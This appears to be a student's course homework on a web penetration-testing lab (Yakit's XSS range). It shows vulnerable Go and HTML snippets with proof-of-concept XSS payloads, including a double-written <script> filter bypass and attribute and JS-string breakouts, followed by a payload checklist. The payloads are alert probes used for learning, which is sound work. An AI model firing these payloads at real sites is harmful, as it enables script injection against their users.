|
WEB渗透测试工程师系统班250303期 第25节课作业 实操课程内讲解的yakit靶场-xss篇 01.安全实体转义 安全实体转义是将特殊字符转换成对应的 HTML 实体,从而防止浏览器将其解释为 HTML 标签或脚本代码。常见的安全实体包括: < 转义为 < > 转义为 > & 转义为 & ' 转义为 ' 或 ' " 转义为 " 通过对用户输入进行安全实体转义,即使用户输入的内容中包含特殊字符或 HTML 标签,也会被转义为普通文本,而不会被当作代码执行。 02.直接拼接导致 XSS 注入 如果直接拼接用户输入而没有进行适当的处理,将导致 XSS(跨站脚本攻击)注入的风险。XSS 攻击是一种利用网页应用程序对用户输入数据的不当处理,从而在用户浏览器上执行恶意脚本的攻击。 示例代码: http://127.0.0.1:8787/xss/echo?name=admin /*拼接后*/ <div>Hello admin</div> 此处的案例中后端代码直接将用户输入拼接后返回给浏览器,当插入 html 标签或 javascript 代码时浏览器将会执行。 攻击示例:# http://127.0.0.1:8787/xss/echo?name=<script>alert("Hello Yakit")</script> /*构造拼接后*/ <div>Hello <script>alert("Hello Yakit")</script></div>
03.不安全的过滤导致 XSS 如果不安全地过滤输入,特别是对<script>标签的不安全过滤,可能导致 XSS(跨站脚本攻击)漏洞。XSS 攻击是一种利用网页应用程序未正确过滤或转义用户输入的情况下,将恶意脚本注入到网页中并在用户浏览器上执行的攻击。 示例代码:# // 定义⼀个 HTTP 处理器函数,⽤于处理 XSS 过滤问题 func(writer http.ResponseWriter, request *http.Request) { // 从请求的 URL 中获取 "name" 参数 var name = request.URL.Query().Get("name") // 构建⼀个不区分⼤⼩写的正则表达式,⽤于匹配 "<script>" 标签 scriptRegex := regexp.MustCompile("(?i)<script>") // 替换所有匹配到的 "<script>" 标签为空字符串,防⽌脚本注⼊ name = scriptRegex.ReplaceAllString(name, "") // 构建⼀个不区分⼤⼩写的正则表达式,⽤于匹配 "</script>" 结束标签 scriptEndRegex := regexp.MustCompile("(?i)</script>") // 替换所有匹配到的 "</script>" 标签为空字符串,进⼀步防⽌脚本注⼊ name = scriptEndRegex.ReplaceAllString(name, "") // ⽣成 HTML 输出,将处理后的 name 参数嵌⼊其中,并写⼊响应输出 writer.Write([]byte(fmt.Sprintf(`<html>Hello %v</html>`, name))) } 攻击示例:# 可以通过双写<script>标签的方式来绕过,这样当<script>标签被过滤掉,剩下的组合起来刚好形成一个完整的 payload。 http://127.0.0.1:8787/xss/replace/nocase?name=<scr<script>ipt>alert("hello yakit")</scr</script>ipt> #过滤后变成 <script>alert("Hello Yakit")</script> 04.XSS: 存在于 JS 代码中(字符串中) XSS(跨站脚本攻击)可以存在于 JavaScript 代码中,特别是在字符串中,如果这些字符串未经适当的处理,直接嵌入到网页中。攻击者可以通过注入恶意的 JavaScript 代码,将恶意脚本注入到页面中,从而在用户的浏览器中执行。 示例代码:# 此案例中从 URL 中获取 name 的传参到 script 标签中 原码: <div> Here are photo for U! <br> <script>console.info("Hello" + '')</script> </div> POC:')</script><script>alert(1)(' 连接后变成:<script>console.info("Hello" + '')</script><script>alert(1)('')</script> 05.XSS: 存在于 JS 代码中(字符串中 2) 此案例与前一个类似,但此处是变量值未经适当的处理,直接嵌入到网页中。攻击者可以通过在变量值中传入恶意的 JavaScript 代码,将恶意脚本注入到页面中,从而在用户的浏览器中执行。 原码:<script>const name = "404";console.info("Hello" + `${name}`);</script> POC:404</script><script>alert(1)// 连接后变成:<script>const name = "404</script><script>alert(1)//";console.info("Hello" + `${name}`);</script> 06.XSS: 存在于 JS 代码中(字符串模版中) 在 JS 代码中的字符串模版中,XSS 漏洞发生在使用字符串模版(``符号)来动态构造 HTML 或 JS 代码时,而未对用户输入进行充分转义或过滤。这使得恶意用户可以通过注入恶意代码来执行任意 JS 代码,从而实施 XSS 攻击 原码:<script>const name = "Admin";console.info("Hello" + `1: ${name}`);</script> POC:</script><script>alert(1)// 连接后变成:<script>const name = "Admin";console.info("Hello" + `</script><script>alert(1)//: ${name}`);</script> 07.输出存在于 HTML 节点 on...属性中 这是一个关于跨站脚本攻击(XSS)的漏洞案例,涉及到在 HTML 节点的onclick属性中插入恶意脚本。 示例代码:# 在这个示例中,一个图片显示了一个onclick属性,其值从用户提供的输入中获取。攻击者可以构造恶意的代码,使其在用户点击图片时执行。 原码: <div> Hello Visitor! <br> Here are photo for U! <br> <img style='width: 100px' src="/static/logo.png" onclick='{{ .code }}'/> </div> POC:alert(1) 08.输出存在于 HTML 节点属性中,但是不再 on 属性中(IMG ALT) 本案例演示了一种 XSS 攻击方式,通过将恶意代码注入到 HTML 节点属性中(如 IMG 标签的 ALT 属性),但不在 on 属性中,从而绕过一些安全机制。
原码:<img style='width: 100px' alt='{{.value}}' src="/static/logo.png" onclick='javascript:alert("Welcome CLICK ME!")'/> POC:1%27><script>alert(1)</script> 09.进阶 1:输出存在于 HTML 节点属性中,但是不再 on 属性中(IMG ALT) 这个案例是 XSS(跨站脚本攻击)的进阶形式,展示了一种输出存在于 HTML 节点属性中,但不再 on 属性中的漏洞类型。 原码:<img style='width: 100px' alt='{{.value}}' src="/static/logo.png" onclick='javascript:alert("Welcome CLICK ME!")'/> POC:1'onmouseover='alert(1) 10.进阶 2:输出存在于 HTML 节点属性中,但是不再 on 属性中(IMG ALT) 这个案例是 XSS(跨站脚本攻击)的进阶形式,展示了一种输出存在于 HTML 节点属性中,但不再 on 属性中的漏洞类型。 原码:<img style='width: 100px' alt='{{.value}}' src="/static/logo.png" onclick='javascript:alert("Welcome CLICK ME!")'/> POC:eyJ2YWx1ZSI6InZhbHVlPTQwNCdvbm1vdXNlb3Zlcj0nYWxlcnQoYEhlbGxvIFlha2l0YCkgIn0= base64解码后:{"value":"value=404'onmouseover='alert(`Hello Yakit`)"} 11.输出存在于 HTML 节点属性中,但是不再 on 属性中(IMG SRC) 输出存在于 HTML 节点属性中,特别是在 <img> 标签的 src 属性中,是一种常见的 XSS 漏洞。攻击者可以通过在这些属性中注入恶意代码,从而在用户浏览网页时执行恶意脚本。 原码:<img style='width: 100px' alt='value' src="{{ .value }}" onclick='javascript:alert("Welcome CLICK ME!")'/> POC:123"onerror="alert(1) 12.输出存在于 HTML 节点属性中,但是不再 on 属性中(HREF) 这个案例展示了一种输出存在于 HTML 节点属性中,位于 herf 属性中的 XSS(跨站脚本攻击)漏洞类型 原码:<a href="" target="_blank">Click ME to load IMG LOGO!</a> POC:'onmousemove='alert(123) 13.输出存在于HTML节点on...属性中的部分代码属性 原码:<img style='width: 100px' src="/static/logo.png" onclick='javascript:alert({{ .code }})'/> POC:)' onmousemove='(alert(123)
一、笔记标题:WEB渗透系统班-Yakit 靶场(xss)4-7+Yakit 靶场(xss)8-13
二、文章内容:
1. 课程内容概要
主要知识点1:XSS注入实战 主要知识点2:href可使用伪协议触发js 主要知识点3:<script> 标签法 javascript: 伪协议
2.重点知识与细节
概念解析 概念1: 无 概念2: 关键步骤(XSS实战) 步骤1:找输入点 - 所有能输入数据的地方。搜索框、留言板、登录框、URL参数(?q=xxx),隐藏表单、HTTP头(User-Agent、Referer) 步骤2:试基础Payload - 检查是否执行JS <script>alert(1)</script> <!-- 直接执行? --> '"><img src=x onerror=alert(1)> <!-- 闭合标签触发 --> javascript:alert(1) <!-- URL里试试 --> 步骤3:看输出位置 - 决定怎么攻击 在HTML里 → 直接插<script>或<img onerror> 在属性里 → 闭合标签:" onclick=alert(1) x=" 在JS代码里 → 闭合字符串:";alert(1);// 相关代码
3.实操练习 和 解析
如作业
4.个人总结
本节课最大的收获是:学会了怎么打XSS的一些常见靶场 仍然存在疑问的地方:暂无 需要课后深入学习的内容:各种环境下的测试
|